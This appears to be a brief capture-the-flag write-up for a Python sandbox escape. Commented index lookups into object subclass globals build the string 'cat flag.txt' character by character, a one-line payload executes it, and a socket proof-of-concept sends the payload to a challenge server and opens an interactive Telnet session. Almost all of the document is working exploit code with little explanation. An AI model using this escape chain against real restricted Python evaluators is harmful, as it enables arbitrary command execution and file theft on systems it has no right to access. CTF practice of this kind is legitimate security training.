```py
# run command: [(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]()

# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][1:][0] -> s
# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] -> l

# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] -> c
# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] ->a
# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] -> t

# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] -> f
# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] -> g
# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] -> .
# [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] -> x
#[(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] -> space
```

payload:

```
print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]))
```

poc

```
from socket import socket
from telnetlib import Telnet

sock = socket()
sock.connect(('139.59.174.238', 30216))
print(sock.recv(1024))
sock.send(b'print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]))\n')
flag = sock.recv(1024)

print(flag)
#interactive mode
t = Telnet()
t.sock = sock
t.interact()
sock.close()
```

Wait for the full article at: https://hafofu.com